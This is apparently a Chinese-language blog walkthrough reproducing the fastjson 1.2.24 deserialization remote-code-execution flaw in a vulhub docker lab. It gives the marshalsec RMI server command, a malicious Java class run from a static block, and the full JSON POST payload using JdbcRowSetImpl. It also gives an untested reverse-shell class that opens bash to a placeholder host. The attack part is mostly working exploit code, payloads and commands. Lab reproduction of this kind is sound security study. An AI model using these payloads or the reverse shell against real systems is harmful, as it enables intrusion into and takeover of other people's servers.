1. 程式人生 > 實用技巧 >漏洞復現-fastjson1.2.24-RCE

漏洞復現-fastjson1.2.24-RCE

0x00 實驗環境

攻擊機:Win 10、Win Server2012 R2(公網環境,惡意java檔案所在伺服器)

靶機也可作為攻擊機:Ubuntu18 (公網環境,docker搭建的vulhub靶場)(兼顧反彈shell的攻擊機)

0x01 影響版本

fastjson<=1.2.24

0x02 避坑指南

(1)Ubuntu18開啟惡意載入RMI的java環境需要為低版本1.8的任意版本

(2)確保清楚知道自己在做什麼

(3)python的簡易網站使用的python版本為2.X(python -m SimpleHTTPServer 6666),3.X可直接使用

python -m http.server 6666

0x03 實驗步驟

首先,進入靶場環境,我們可以看到這個漏洞平臺:

以上為普通的json格式的資料上傳

我們應該做的第一件事是判斷該網站是否存在fastjson漏洞,這個我暫時還沒研究出來,先復現一下吧。

首先第一件事就是要準備好實驗環境:假設我的攻擊主機使用的是一臺,那麼,這個邏輯是:

Ubuntu的8090埠存放靶場

Ubuntu的4444埠使用python開啟一個簡易的web站點(實驗中我並未使用這個方法,而是直接使用了另一臺在公網上的win server 2012R2的伺服器搭建的web)

Ubuntu的7777埠監聽反彈過來的shell (實驗未能成功復現反彈shell的操作,後續復現)

還有一個比較重要的問題就是,攻擊思路為:使用Ubuntu的java載入一個呼叫惡意檔案的環境,再使用該環境遠端載入一個惡意類,達到借刀進行命令執行的效果。

思路理清了我們就正式開始此次復現。

(1)在以下連結下載marshalsec輔助開啟JAVA RMI環境:

地址:git clone https://github.com/mbechler/marshalsec

(2)由於我的Ubuntu為最新18版本,內建的java環境為11,因此在復現過程中無法成功開啟rmi服務,你可以先使用以下Tips安裝java1.8環境:

Tips:安裝好1.8版本的java後(具體請參考網上的其他java環境安裝教程),替換java的環境:

update-alternatives --config java

ubuntu如何安裝配置JDK1.8:

https://jingyan.baidu.com/article/6dad5075237536a123e36e0c.html

(3)由於我的環境已經安裝好惡意呼叫java的RMI服務,因此這裡僅提供以下編譯環境的命令,編譯成功會出現綠色的"BUILD SUCCESS"字樣:

mvn clean package -DskipTests

(4)安裝完成好後,新建一個java指令碼,命名為TouchFile.java,這個檔案的作用大致就是使用java建立一個檔案,如下為其所有程式碼,本意為在靶場的tmp目錄下建立一個名為success的檔案:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

(5)在此之前,我需要說明的是,實驗我已經復現成功了,所以我已經先把success的檔案做刪除,這裡證明一下。使用以下命令進行docker容器:

然後進入到tmp目錄下查詢success的檔案並將其刪除:

(6)開始復現,在我的Win Server2012 R2上搭建一個web服務,將上述的java檔案編譯好後放入跟目錄:

java編譯.class的命令為:

javac TouchFile.java

(7)然後我們在自己的服務上,進入到自己下載的輔助搭建RMI服務的工具的target目錄內:marshalsec/target/。存在以下兩個可以呼叫開啟RMI服務的jar包

使用以下命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP/#TouchFile" 9999

這裡的vpsIP是指你的公網的開啟web後放入TouchFile.class的那臺伺服器。本意為,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本機的9999埠開啟一個RMI服務載入TouchFile.class檔案。

(8)重新整理靶場的連結,抓包後改GET包為POST包,然後在傳送的請求資料包中輸入以下payload:

payload:

POST / HTTP/1.1
Host: IP:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 164

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://IP:9999/TouchFile",
        "autoCommit":true
    }
}

在docker的靶場環境內,成功執行建立檔案的命令:

由於反彈shell的暫時還未復現成功,所以我這邊就先不復現了,反彈shell的步驟僅僅是照葫蘆畫瓢,修改.java的惡意載入檔案,惡意java檔案修改為反彈shell的命令,然後編譯為.class,然後傳到web站點,先將重要的payload放置在下文,有時間我再復現:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();


String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/7777 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

0x04 實驗原理

fastjson版本:1.2.22-1.2.24。這些版本的fastjson未對@type中載入進的類進行過濾,導致的這一版漏洞。

主要由於利用templatesImlp這個類,這個類中有一個_bytecodes欄位,部分函式能夠根據這個欄位來生成類的例項,這個類的建構函式是我們可控的,就能rce

參考https://www.secpulse.com/archives/72391.html

復現參考https://www.cnblogs.com/null1433/p/12694088.html